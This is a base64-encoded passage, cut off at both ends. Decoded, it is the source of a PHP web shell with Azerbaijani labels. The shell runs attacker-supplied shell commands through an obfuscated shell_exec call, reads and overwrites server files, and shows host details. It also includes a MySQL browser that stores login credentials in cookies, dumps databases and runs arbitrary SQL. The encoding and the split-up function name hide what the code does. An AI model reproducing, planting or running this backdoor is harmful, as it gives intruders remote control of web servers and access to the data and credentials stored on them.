DQp9DQouZk1hbmFnZXIgdGJvZHkgdHI6aG92ZXINCnsNCgliYWNrZ3JvdW5kOiAjMDAwMDAwOw0KfQ0KLmZNYW5hZ2VyIHRoZWFkIHRoDQp7DQoJdGV4dC1hbGlnbjogbGVmdDsNCn0NCi5mTWFuYWdlciB0aGVhZCB0cg0Kew0KCWJhY2tncm91bmQtY29sb3I6ICMzMzMzMzM7DQp9DQouZk1hbmFnZXINCnsNCglib3gtc2hhZG93OiAxcHggMXB4IDFweCAxcHggIzMzMzMzMzsNCn0NCi5mTWFuYWdlciB0aGVhZCB0aA0Kew0KCXBhZGRpbmc6IDRweCAzcHg7DQp9DQouZmF5bF9veHUNCnsNCgltYXJnaW46IDVweCAwOw0KCXBhZGRpbmc6IDJweDsNCglib3gtc2hhZG93OiAxcHggMXB4IDFweCAxcHggIzMzMzMzMzsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjRTFFMUUxOw0KCXdpZHRoOiAxMDAlOw0KCWhlaWdodDogNDAwcHg7DQoJb3ZlcmZsb3c6IGF1dG87DQp9DQouYnRuDQp7DQoJYm9yZGVyOiAxcHggc29saWQgI0FDQUU0MDsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjIzQjNCOw0KCWNvbG9yOiAjRTFFMUUxOw0KCXBhZGRpbmc6IDFweCAxMHB4Ow0KCWN1cnNvcjogcG9pbnRlcjsNCn0NCi5idG46ZGlzYWJsZWQNCnsNCglib3JkZXI6IDFweCBzb2xpZCAjODQ4NDg0Ow0KCWNvbG9yOiAjODQ4NDg0Ow0KCWN1cnNvcjogbm90LWFsbG93ZWQ7DQp9DQouZmlsZV9lZGl0DQp7DQoJbWFyZ2luOiA1cHggMDsNCglwYWRkaW5nOiAycHg7DQoJYm94LXNoYWRvdzogMXB4IDFweCAxcHggMXB4ICMzMzMzMzM7DQoJYmFja2dyb3VuZC1jb2xvcjogI0UxRTFFMTsNCgl3aWR0aDogMTAwJTsNCgloZWlnaHQ6IDQwMHB4Ow0KCW92ZXJmbG93OiBhdXRvOw0KfQ0KaW5wdXQsIHNlbGVjdCwgdGV4dGFyZWENCnsNCgliYWNrZ3JvdW5kOiB0cmFuc3BhcmVudCAhaW1wb3J0YW50Ow0KCWNvbG9yOiAjZjZhNTZkOw0KCWJvcmRlcjogMXB4IHNvbGlkICNENjkwNUU7DQoJcGFkZGluZzogNXB4Ow0KfQ0KdGFibGUgdGQNCnsNCglib3JkZXI6IDFweCBzb2xpZCByZ2JhKDIxNCwgMTQ0LCA5NCwgMC43KTsNCgltaW4td2lkdGg6IDIwcHg7DQoJcGFkZGluZy1sZWZ0OiA1cHg7DQoJcGFkZGluZy1yaWdodDogNXB4Ow0KCW1heC13aWR0aDogNTAwcHg7DQoJY29sb3I6ICNmZmFkNmY7DQoJYmFja2dyb3VuZDogIzI5MjkyOTsNCn0NCnRhYmxlIHRoDQp7DQoJYm9yZGVyOiAxcHggc29saWQgI0Q2OTA1RTsNCglwYWRkaW5nLWxlZnQ6IDVweDsNCglwYWRkaW5nLXJpZ2h0OiA1cHg7DQoJY29sb3I6ICNmZmFkNmY7DQp9DQp0YWJsZSB0ZCBkaXYNCnsNCglvdmVyZmxvdzogYXV0bzsNCgl3aWR0aDogMTAwJTsNCgloZWlnaHQ6IDEwMCU7DQoJbWF4LWhlaWdodDogMTAwcHg7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KPGJvZHk+DQo8P3BocA0KDQppZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkNCnsNCgkkcWlkID0gcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsNCgkkcXJ1cCA9ICRxaWRbJ25hbWUnXTsNCglwcmludCAiPHNwYW4gY2xhc3M9J3FhbGluJz5VbmFtZTo8L3NwYW4+ICIgLiBwaHBfdW5hbWUoKSAuICI8YnIvPiI7DQoJcHJpbnQgIjxzcGFuIGNsYXNzPSdxYWxpbic+VXNlcjo8L3NwYW4+ICIuZ2V0bXl1aWQoKS4iICgiLmdldF9jdXJyZW50X3VzZXIoKS4iKTxici8+IjsNCglwcmludCAiPHNwYW4gY2xhc3M9J3FhbGluJz5Hcm91cDo8L3NwYW4+ICIuZ2V0bXlnaWQoKS4iICgiLiRxcnVwLiIpPGJyLz4iOw0KfQ0KZWxzZQ0Kew0KCXByaW50ICI8c3BhbiBjbGFzcz0ncWFsaW4nPlVuYW1lOjwvc3Bhbj4gIiAuIHBocF91bmFtZSgpIC4gIjxici8+IjsNCglwcmludCAiPHNwYW4gY2xhc3M9J3FhbGluJz5Vc2VyOjwvc3Bhbj4gIi5nZXRteXVpZCgpLiIgKCIuZ2V0X2N1cnJlbnRfdXNlcigpLiIpPGJyLz4iOw0KCXByaW50ICI8c3BhbiBjbGFzcz0ncWFsaW4nPkdyb3VwOjwvc3Bhbj4gIi5nZXRteWdpZCgpLiI8YnIvPiI7DQp9DQpwcmludCAiPHNwYW4gY2xhc3M9J3FhbGluJz5EaXNhYmxlIGZ1bmN0aW9uczo8L3NwYW4+ICIgLiAoaW1wbG9kZSgiLCAiLCAkYmFxbGlGdW5rc2l5YWxhcik9PSIiPyI8c3BhbiBjbGFzcz0nc3VjY2Vzcyc+eW94ZHUgOikiOiI8c3BhbiBjbGFzcz0nYmFkJz4iLiBpbXBsb2RlKCIsICIsICRiYXFsaUZ1bmtzaXlhbGFyKSkgLiAiPC9zcGFuPjxici8+IjsNCnByaW50ICI8c3BhbiBjbGFzcz0ncWFsaW4nPlNhZmUgbW9kZTogPC9zcGFuPiIgLiAoJHNhZmVNb2RlPT09dHJ1ZT8iPHNwYW4gY2xhc3M9J2JhZCc+T24iOiI8c3BhbiBjbGFzcz0nc3VjY2Vzcyc+T2ZmIikgLiAiPC9zcGFuPjxzcGFuIHN0eWxlPSdtYXJnaW4tbGVmdDogNTBweDsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6c2VoaWZlKFwiP25lPXBocGluZm9cIiknPlsgUEhQaW5mbyBdPC9hPjwvc3Bhbj48YnIvPiI7DQpxb3ZsdXF1WWF6KCk7DQpwcmludCAnPGhyPic7DQppZigkbmU9PSJwaHBpbmZvIikNCnsNCglwcmludCAiPGRpdiBzdHlsZT0nd2lkdGg6IDEwMCU7IGhlaWdodDogNDAwcHg7Jz48aWZyYW1lIHNyYz0nP25lPXBpbmYnIHN0eWxlPSd3aWR0aDogMTAwJTsgaGVpZ2h0OiA0MDBweDsgYm9yZGVyOiAwOyc+PC9pZnJhbWU+PC9kaXY+IjsNCn0NCmVsc2UgaWYoJG5lPT0ic2lzdGVtX2tvbSIpDQp7DQoJaWYoIGlzc2V0KCAkX1BPU1RbJ2tvbSddICkgJiYgaXNfc3RyaW5nKCRfUE9TVFsna29tJ10pICYmICFlbXB0eSgkX1BPU1RbJ2tvbSddKSApDQoJew0KCQkka29tYW5kYSA9IGRlc2hpZnJlbGUodXJsZGVjb2RlKCRfUE9TVFsna29tJ10pKTsNCgkJDQoJCSRrID0gJ3NoJzsNCgkJJGsuPSdlbCc7DQoJCSRrLj0nbF9lJzsNCgkJJGsuPSd4ZSc7DQoJCSRrLj0nYyc7DQoNCgkJJG91dHB1dCA9ICRrKCRrb21hbmRhKTsNCg0KCQlwcmludCAnPHByZSBzdHlsZT0ibWF4LWhlaWdodDogMzUwcHg7b3ZlcmZsb3c6IGF1dG87IGJvcmRlcjogMXB4IHNvbGlkICM3Nzc7IHBhZGRpbmc6IDVweDsiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRvdXRwdXQpIC4gJzwvcHJlPjxocj4nOw0KCX0NCglwcmludCAnPGlucHV0IHR5cGU9InRleHQiIGlkPSJlbXJfZXRfYXRhc2giIHN0eWxlPSJ3aWR0aDogNTAwcHg7Ij4gPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4iIG9uY2xpY2s9InNpc3RlbUtvbSgpOyI+QmFzPC9idXR0b24+JzsNCn0NCmVsc2UgaWYoJG5lPT0iZmF5bF9veHUiICYmIGlzc2V0KCRfUE9TVFsnZmF5bCddKSAmJiAiIiE9KHRyaW0oJF9QT1NUWydmYXlsJ10pKSkNCnsNCgkkZmF5bEFkaSA9IGJhc2VuYW1lKGRlc2hpZnJlbGUodXJsZGVjb2RlKCRfUE9TVFsnZmF5bCddKSkpOw0KCSRheWlyaWNpID0gc3Vic3RyKCRkZWZhdWx0X2RpcixzdHJsZW4oJGRlZmF1bHRfZGlyKS0xKSE9Ii8iICYmIHN1YnN0cigkZmF5bEFkaSwwLDEpIT0iLyIgPyAiLyIgOiAiIjsNCglpZihpc19maWxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpICYmIGlzX3JlYWRhYmxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpKQ0KCXsNCgkJJGVsYXZlQnRuID0gaXNfd3JpdGVhYmxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpID8gIiBvbmNsaWNrPSdzZWhpZmUoXCI/bmU9ZmF5bF9yZWRha3RlJmZheWw9Ii51cmxlbmNvZGUodXJsZW5jb2RlKHNoaWZyZWxlKCRmYXlsQWRpKSkpLiImcW92bHVxPSIudXJsZW5jb2RlKHVybGVuY29kZShzaGlmcmVsZSgkZGVmYXVsdF9kaXIpKSkuIlwiKSciIDogIiBkaXNhYmxlZCI7DQoJCXByaW50ICI8ZGl2PkZheWwgYWQmIzMwNTs6IDxzcGFuIGNsYXNzPSdxYWxpbic+Ii5odG1sc3BlY2lhbGNoYXJzKCRmYXlsQWRpKS4iPC9zcGFuPjxici8+PGJ1dHRvbiBjbGFzcz0nYnRuJyRlbGF2ZUJ0bj4gRCYjNjAxO3lpJiMzNTE7IDwvYnV0dG9uPjwvZGl2PiI7DQoJCXByaW50ICI8ZGl2IGNsYXNzPSdmYXlsX294dSc+Ii5oaWdobGlnaHRfc3RyaW5nKGZpbGVfZ2V0X2NvbnRlbnRzKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpLCB0cnVlKS4iPC9kaXY+IjsNCgl9DQp9DQplbHNlIGlmKCRuZSA9PSAnc2tsJykNCnsNCgkkaG9zdCA9IGlzc2V0KCRfQ09PS0lFWydob3N0J10pID8gJF9DT09LSUVbJ2hvc3QnXSA6ICcnOw0KCSR1c2VyID0gaXNzZXQoJF9DT09LSUVbJ3VzZXInXSkgPyAkX0NPT0tJRVsndXNlciddIDogJyc7DQoJJHBhcm9sID0gaXNzZXQoJF9DT09LSUVbJ3Bhcm9sJ10pID8gJF9DT09LSUVbJ3Bhcm9sJ10gOiAnJzsNCgkkYmF6YSA9IGlzc2V0KCRfQ09PS0lFWydiYXphJ10pID8gJF9DT09LSUVbJ2JhemEnXSA6ICcnOw0KDQoJaWYoIGlzc2V0KCRfUE9TVFsnaG9zdCddICwgJF9QT1NUWyd1c2VyJ10gLCAkX1BPU1RbJ3Bhcm9sJ10pDQoJCSYmIGlzX3N0cmluZygkX1BPU1RbJ2hvc3QnXSkgJiYgaXNfc3RyaW5nKCRfUE9TVFsndXNlciddKSAmJiBpc19zdHJpbmcoJF9QT1NUWydwYXJvbCddKQ0KCSkNCgl7DQoJCSRob3N0ID0gJF9QT1NUWydob3N0J107DQoJCSR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQoJCSRwYXJvbCA9ICRfUE9TVFsncGFyb2wnXTsNCgkJJGJhemEgPSAnJzsNCg0KCQlzZXRjb29raWUoJ2hvc3QnICwgJGhvc3QgLCB0aW1lKCkgKyAzNjAwMDApOw0KCQlzZXRjb29raWUoJ3VzZXInICwgJHVzZXIgLCB0aW1lKCkgKyAzNjAwMDApOw0KCQlzZXRjb29raWUoJ3Bhcm9sJyAsICRwYXJvbCAsIHRpbWUoKSArIDM2MDAwMCk7DQoJCXNldGNvb2tpZSgnYmF6YScgLCAkYmF6YSAsIHRpbWUoKSArIDM2MDAwMCk7DQoJfQ0KDQoJaWYoIGlzc2V0KCRfUE9TVFsnYmF6YSddKSAmJiBpc19zdHJpbmcoJF9QT1NUWydiYXphJ10pICkNCgl7DQoJCSRiYXphID0gJF9QT1NUWydiYXphJ107DQoNCgkJc2V0Y29va2llKCdiYXphJyAsICRiYXphICwgdGltZSgpICsgMzYwMDAwKTsNCgl9DQoNCgkkYmF6YVN0ciA9IGVtcHR5KCRiYXphKSA/ICcnIDogJ2RibmFtZT0nIC4gJGJhemEgLiAnOyc7DQoNCgk/Pg0KCTxmb3JtIG1ldGhvZD0iUE9TVCI+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im5lIiB2YWx1ZT0ic2tsIj4NCgkJPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJIb3N0bmFtZSIgbmFtZT0iaG9zdCIgdmFsdWU9Ijw/PWh0bWxzcGVjaWFsY2hhcnMoJGhvc3QpPz4iPg0KCQk8aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9IlVzZXIiIG5hbWU9InVzZXIiIHZhbHVlPSI8Pz1odG1sc3BlY2lhbGNoYXJzKCR1c2VyKT8+Ij4NCgkJPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJQYXJvbCIgbmFtZT0icGFyb2wiIHZhbHVlPSI8Pz1odG1sc3BlY2lhbGNoYXJzKCRwYXJvbCk/PiI+DQoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJEYXhpbCBvbCI+DQoJPC9mb3JtPg0KCTw/cGhwDQoJaWYoICFlbXB0eSggJGhvc3QgKSApDQoJew0KCQl0cnkNCgkJew0KCQkJJHBkbyA9IG5ldyBQRE8oJ215c3FsOmhvc3Q9JyAuICRob3N0IC4gJztjaGFyc2V0PXV0Zjg7JyAuICRiYXphU3RyICwgJHVzZXIgLCAkcGFyb2wsYXJyYXkoUERPOjpNWVNRTF9BVFRSX0lOSVRfQ09NTUFORCA9PiAiU0VUIE5BTUVTICd1dGY4JyIpKTsNCgkJCSRwZG8tPnNldEF0dHJpYnV0ZShQRE86OkFUVFJfREVGQVVMVF9GRVRDSF9NT0RFLCBQRE86OkZFVENIX0FTU09DKTsNCg0KCQkJJHNjaGVtYXRhcyA9ICRwZG8tPnF1ZXJ5KCdTRUxFQ1Qgc2NoZW1hX25hbWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEnKTsNCgkJCXByaW50ICc8Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im5lIiB2YWx1ZT0ic2tsIj48c2VsZWN0IG5hbWU9ImJhemEiPic7DQoJCQlmb3JlYWNoKCRzY2hlbWF0YXMtPmZldGNoQWxsKCkgQVMgJHNjaGVtYU5hbWUpDQoJCQl7DQoJCQkJcHJpbnQgJzxvcHRpb24nIC4gKCRiYXphID09ICRzY2hlbWFOYW1lWydzY2hlbWFfbmFtZSddID8gJyBzZWxlY3RlZCcgOiAnJykgLiAnPicuaHRtbHNwZWNpYWxjaGFycygkc2NoZW1hTmFtZVsnc2NoZW1hX25hbWUnXSkuJzwvb3B0aW9uPic7DQoJCQl9DQoJCQlwcmludCAnPC9zZWxlY3Q+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTZWNoISI+PC9mb3JtPic7DQoNCgkJCWlmKCAhZW1wdHkoJGJhemEpICkNCgkJCXsNCgkJCQkkdGFibGVzID0gJHBkby0+cHJlcGFyZSgnU0VMRUNUIHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0/Jyk7DQoJCQkJJHRhYmxlcy0+ZXhlY3V0ZShhcnJheSgkYmF6YSkpOw0KCQkJCSR0YWJsZXMgPSAkdGFibGVzLT5mZXRjaEFsbCgpOw0KDQoJCQkJcHJpbnQgJzxkaXYgc3R5bGU9ImZsb2F0OiBsZWZ0OyB3aWR0aDogMjAlOyBvdmVyZmxvdzogYXV0bzsgYm9yZGVyLXJpZ2h0OiAxcHggc29saWQgIzk5OTsiPic7DQoJCQkJcHJpbnQgJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2VoaWZlKFwnP25lPXNrbF9kXCcpOyI+ISEgRHVtcCBEQiAhITwvYT48aHI+JzsNCgkJCQlmb3JlYWNoKCAkdGFibGVzIEFTICR0YWJsZU5hbWUgKQ0KCQkJCXsNCgkJCQkJJHRhYmxlTmFtZSA9ICR0YWJsZU5hbWVbJ3RhYmxlX25hbWUnXTsNCgkJCQkJcHJpbnQgJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2VoaWZlKFwnP25lPXNrbCZ0PScgLiB1cmxlbmNvZGUodXJsZW5jb2RlKHNoaWZyZWxlKCR0YWJsZU5hbWUpKSkgLiAnXCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJHRhYmxlTmFtZSkuJzwvYT48YnI+JzsNCgkJCQl9DQoJCQkJcHJpbnQgJzwvZGl2Pic7DQoJCQkJcHJpbnQgJzxkaXYgc3R5bGU9ImZsb2F0OiBsZWZ0OyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHdpZHRoOiA3NSU7Ij4nOw0KDQoJCQkJaWYoIGlzc2V0KCRfUE9TVFsndCddKSAmJiBpc19zdHJpbmcoJF9QT1NUWyd0J10pICYmICFlbXB0eSgkX1BPU1RbJ3QnXSkgKQ0KCQkJCXsNCgkJCQkJJHRhYmxlTmFtZSA9IGRlc2hpZnJlbGUodXJsZGVjb2RlKCRfUE9TVFsndCddKSk7DQoJCQkJCXByaW50ICc8c3BhbiBjbGFzcz0icWFsaW4iPlRhYmxlOjwvc3Bhbj4gJyAuIGh0bWxzcGVjaWFsY2hhcnMoJHRhYmxlTmFtZSkgLiAnICggPGEgaHJlZj0iamF2YXNjcmlwdDpzZWhpZmUoXCc/bmU9c2tsX2RfdCZ0PScudXJsZW5jb2RlKHVybGVuY29kZShzaGlmcmVsZSgkdGFibGVOYW1lKSkpLidcJykiPkR1bXA8L2E+ICk8YnI+JzsNCg0KCQkJCQkkZ2V0Q29sdW1ucyA9ICRwZG8tPnByZXBhcmUoIlNFTEVDVCBjb2x1bW5fbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0/IGFuZCB0YWJsZV9uYW1lPT8iKTsNCgkJCQkJJGdldENvbHVtbnMtPmV4ZWN1dGUoYXJyYXkoJGJhemEgLCAkdGFibGVOYW1lKSk7DQoJCQkJCSRjb2x1bW5zID0gJGdldENvbHVtbnMtPmZldGNoQWxsKCk7DQoNCgkJCQkJaWYoICRjb2x1bW5zICkNCgkJCQkJew0KCQkJCQkJJGRhdGFDb3VudCA9ICRwZG8tPnF1ZXJ5KCdTRUxFQ1QgY291bnQoMCkgQVMgc3MgZnJvbSBgJyAuICR0YWJsZU5hbWUgLiAnYCcpOw0KCQkJCQkJJGRhdGFDb3VudCA9IChpbnQpJGRhdGFDb3VudC0+ZmV0Y2hDb2x1bW4oKTsNCg0KCQkJCQkJcHJpbnQgJzxzcGFuIGNsYXNzPSJxYWxpbiI+Q291bnQ6PC9zcGFuPiAnIC4gJGRhdGFDb3VudCAuICc8YnI+PGJyPic7DQoNCgkJCQkJCSRwYWdlcyA9IGNlaWwoJGRhdGFDb3VudCAvIDEwMCk7DQoNCgkJCQkJCSRjdXJyZW50UGFnZSA9IGlzc2V0KCRfUE9TVFsnc2VoaWZlJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydzZWhpZmUnXSkgJiYgJF9QT1NUWydzZWhpZmUnXSA+PSAxICYmICRfUE9TVFsnc2VoaWZlJ10gPD0gJHBhZ2VzID8gKGludCkkX1BPU1RbJ3NlaGlmZSddIDogMTsNCg0KCQkJCQkJZm9yICggICRwID0gMTsgJHAgPD0gJHBhZ2VzOyAkcCsrICkNCgkJCQkJCXsNCgkJCQkJCQlwcmludCAnPGEgc3R5bGU9IicuKCRjdXJyZW50UGFnZSA9PSAkcCA/ICdiYWNrZ3JvdW5kOiAjNDQ0OycgOiAnJykuJ21hcmdpbi1sZWZ0OiAycHg7IG1hcmdpbi1ib3R0b206IDVweDsgcGFkZGluZzogMnB4IDZweDsgYm9yZGVyOiAxcHggc29saWQgI0FDQjc1NDsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyIgaHJlZj0iamF2YXNjcmlwdDpzZWhpZmUoXCc/bmU9c2tsJnQ9JyAuIHVybGVuY29kZSh1cmxlbmNvZGUoc2hpZnJlbGUoJHRhYmxlTmFtZSkpKSAuICcmc2VoaWZlPScgLiAkcCAuICdcJyk7Ij4nIC4gJHAgLiAnPC9hPiAnOw0KCQkJCQkJfQ0KCQkJCQkJcHJpbnQgJzxicj48YnI+JzsNCg0KCQkJCQkJJHN0YXJ0ID0gMTAwICogKCRjdXJyZW50UGFnZSAtIDEpOw0KDQoJCQkJCQkkZGF0YSA9ICRwZG8tPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NIGAnIC4gJHRhYmxlTmFtZSAuJ2AgTElNSVQgJy4kc3RhcnQuJyAsIDEwMCcpOw0KCQkJCQkJJGRhdGEgPSAkZGF0YS0+ZmV0Y2hBbGwoKTsNCgkJCQkJCXByaW50ICc8dGFibGU+PHRoZWFkPic7DQoNCgkJCQkJCWZvcmVhY2goICRjb2x1bW5zIEFTICRjb2x1bW5JbmYgKQ0KCQkJCQkJew0KCQkJCQkJCXByaW50ICc8dGg+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGNvbHVtbkluZlsnY29sdW1uX25hbWUnXSkgLiAnPC90aD4nOw0KCQkJCQkJfQ0KDQoJCQkJCQlwcmludCAnPC90aGVhZD48dGJvZHk+JzsNCg0KCQkJCQkJZm9yZWFjaCggJGRhdGEgQVMgJHJvdyApDQoJCQkJCQl7DQoJCQkJCQkJcHJpbnQgJzx0cj4nOw0KCQkJCQkJCWZvcmVhY2goICRyb3cgQVMgJGtleT0+JHZhbCApDQoJCQkJCQkJew0KCQkJCQkJCQlwcmludCAnPHRkPjxkaXY+JyAuICR2YWwgLiAnPC9kaXY+PC90ZD4nOw0KCQkJCQkJCX0NCgkJCQkJCQlwcmludCAnPC90cj4nOw0KCQkJCQkJfQ0KCQkJCQkJcHJpbnQgJzwvdHI+PC90Ym9keT48L3RhYmxlPic7DQoJCQkJCX0NCgkJCQkJZWxzZQ0KCQkJCQl7DQoJCQkJCQlwcmludCAnVGFibGUgbm90IGZvdW5kISc7DQoJCQkJCX0NCgkJCQl9DQoJCQkJZWxzZSBpZiAoIGlzc2V0KCRfUE9TVFsnZW1yJ10pICYmIGlzX3N0cmluZygkX1BPU1RbJ2VtciddKSAmJiAhZW1wdHkoJF9QT1NUWydlbXInXSkgKQ0KCQkJCXsNCgkJCQkJJGVtciA9IGRlc2hpZnJlbGUodXJsZGVjb2RlKCRfUE9TVFsnZW1yJ10pKTsNCgkJCQkJcHJpbnQgJzxzcGFuIGNsYXNzPSJxYWxpbiI+U1FMIGVtcjo8L3NwYW4+ICcgLiBodG1sc3BlY2lhbGNoYXJzKCRlbXIpIC4gJzxicj4nOw0KCQkJCQkNCgkJCQkJJGRhdGEgPSAkcGRvLT5xdWVyeSggJGVtciApOw0KCQkJCQkkZGF0YSA9ICRkYXRhLT5mZXRjaEFsbCgpOw0KCQkJCQkNCgkJCQkJcHJpbnQgJzx0YWJsZT48dGhlYWQ+JzsNCgkJCQkJaWYoIGNvdW50KCRkYXRhKSA+IDAgKQ0KCQkJCQl7DQoJCQkJCQlwcmludCAnPHRyPic7DQoJCQkJCQlmb3JlYWNoKCAkZGF0YVswXSBBUyAka2V5PT4kdmFsICkNCgkJCQkJCXsNCgkJCQkJCQlwcmludCAnPHRoPjxkaXY+JyAuICRrZXkgLiAnPC9kaXY+PC90aD4nOw0KCQkJCQkJfQ0KCQkJCQkJcHJpbnQgJzwvdHI+JzsNCgkJCQkJfQ0KCQkJCQlwcmludCAnPC90aGVhZD48dGJvZHk+JzsNCgkJCQkJDQoJCQkJCWZvcmVhY2goICRkYXRhIEFTICRyb3cgKQ0KCQkJCQl7DQoJCQkJCQlwcmludCAnPHRyPic7DQoJCQkJCQlmb3JlYWNoKCAkcm93IEFTICRrZXk9PiR2YWwgKQ0KCQkJCQkJew0KCQkJCQkJCXByaW50ICc8dGQ+PGRpdj4nIC4gJHZhbCAuICc8L2Rpdj48L3RkPic7DQoJCQkJCQl9DQoJCQkJCQlwcmludCAnPC90cj4nOw0KCQkJCQl9DQoJCQkJCXByaW50ICc8L3RyPjwvdGJvZHk+PC90YWJsZT4nOw0KCQkJCX0NCgkJCQkNCgkJCQlwcmludCAnPGRpdj48dGV4dGFyZWEgaWQ9InNrbF9lbXIiPjwvdGV4dGFyZWE+PGJ1dHRvbiB0eXBlPSJidXR0b24iIG9uY2xpY2s9InNrbF9iYXMoKTsiPkJhcyBtZW5lPC9idXR0b24+PC9kaXY+JzsNCgkJCQkNCgkJCQlwcmludCAnPC9kaXY+JzsNCgkJCQlwcmludCAnPGRpdiBzdHlsZT0iY2xlYXI6IGJvdGg7Ij48L2Rpdj4nOw0KCQkJfQ0KCQl9DQoJCWNhdGNoIChFeGNlcHRpb24gJGUpDQoJCXsNCgkJCXByaW50ICRlLT5nZXRNZXNzYWdlKCk7DQoJCX0NCgl9DQp9DQplbHNlIGlmKCRuZT09ImZheWxfcmVkYWt0ZSIgJiYgaXNzZXQoJF9QT1NUWydmYXlsJ10pICYmICIiIT0odHJpbSgkX1BPU1RbJ2ZheWwnXSkpKQ0Kew0KCSRmYXlsQWRpID0gYmFzZW5hbWUoZGVzaGlmcmVsZSh1cmxkZWNvZGUodXJsZGVjb2RlKCRfUE9TVFsnZmF5bCddKSkpKTsNCgkkYXlpcmljaSA9IHN1YnN0cigkZGVmYXVsdF9kaXIsc3RybGVuKCRkZWZhdWx0X2RpciktMSkhPSIvIiAmJiBzdWJzdHIoJGZheWxBZGksMCwxKSE9Ii8iID8gIi8iIDogIiI7DQoJaWYoaXNfZmlsZSgkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpKSAmJiBpc19yZWFkYWJsZSgkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpKSkNCgl7DQoJCSRzdGF0dXMgPSAiIjsNCgkJaWYoaXNzZXQoJF9QT1NUWydjb250ZW50J10pICYmIGlzc2V0KCRfUE9TVFsndG9vayddKSAmJiAkX1BPU1RbJ3Rvb2snXSE9IiIgJiYgaXNzZXQoJF9TRVNTSU9OWyd5c190b29rJ10pICYmICRfU0VTU0lPTlsneXNfdG9vayddPT0kX1BPU1RbJ3Rvb2snXSAmJiBpc193cml0ZWFibGUoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bEFkaSkpDQoJCXsNCgkJCXVuc2V0KCRfU0VTU0lPTlsneXNfdG9vayddKTsNCgkJCSRjb250ZW50ID0gJF9QT1NUWydjb250ZW50J107DQoNCgkJCSRjYyA9ICBhcnJheSgnYScsJ2knLCdlJywncycsJ2wnLCdiJywndScsJ28nLCdwJywnaCcsIigiLCIpIiwiPCIsIj4iLCI/IiwiOyIsIlsiLCJdIiwiJCIpOw0KCQkJZm9yZWFjaCgkY2MgQVMgJGsxPT4kdjEpDQoJCQl7DQoJCQkJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgnfDonLiRrMS4nOnwnICwgJHYxICwgJGNvbnRlbnQpOw0KCQkJfQ0KDQoJCQkkZmF5bEFjaCA9IGZvcGVuKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGksICJ3KyIpOw0KCQkJZndyaXRlKCRmYXlsQWNoLCAkY29udGVudCk7DQoJCQlmY2xvc2UoJGZheWxBY2gpOw0KCQkJJHN0YXR1cyA9ICIgPHNwYW4gY2xhc3M9J3FhbGluJz5VJiMyODc7dXJsYSB5YWRkYSBzYXhsYW4mIzMwNTtsZCYjMzA1OyE8L3NwYW4+IjsNCgkJfQ0KCQkkb3h1VXJsID0gIj9uZT1mYXlsX294dSZmYXlsPSIudXJsZW5jb2RlKHVybGVuY29kZShzaGlmcmVsZSgkZmF5bEFkaSkpKS4iJnFvdmx1cT0iLnVybGVuY29kZSh1cmxlbmNvZGUoc2hpZnJlbGUoJGRlZmF1bHRfZGlyKSkpOw0KCQkkZWxhdmVCdG4gPSBpc193cml0ZWFibGUoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bEFkaSkgPyAiIiA6ICIgZGlzYWJsZWQiOw0KCQlwcmludCAiPGRpdj5GYXlsIGFkJiMzMDU7OiA8YSBjbGFzcz0ncWFsaW4nIGhyZWY9J2phdmFzY3JpcHQ6c2VoaWZlKFwieyRveHVVcmx9XCIpJz4iLmh0bWxzcGVjaWFsY2hhcnMoJGZheWxBZGkpLiI8L2E+PGJyLz48Zm9ybSBtZXRob2Q9J1BPU1QnIHN0eWxlPSdwYWRkaW5nOiAwOyBtYXJnaW46IDA7Jz48YnV0dG9uIHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J0bickZWxhdmVCdG4+IFlhZGRhIHNheGxhIDwvYnV0dG9uPiA8YnV0dG9uIHR5cGU9J2J1dHRvbicgb25jbGljaz0nc2hpZnJlbGVlKCknPiBTaGlmcmVsZSBhdGFzaCA8L2J1dHRvbj4gJHN0YXR1czwvZGl2PiI7DQoJCXByaW50ICI8aW5wdXQgdHlwZT0naGlkZGVuJyB2YWx1ZT0nZmF5bF9yZWRha3R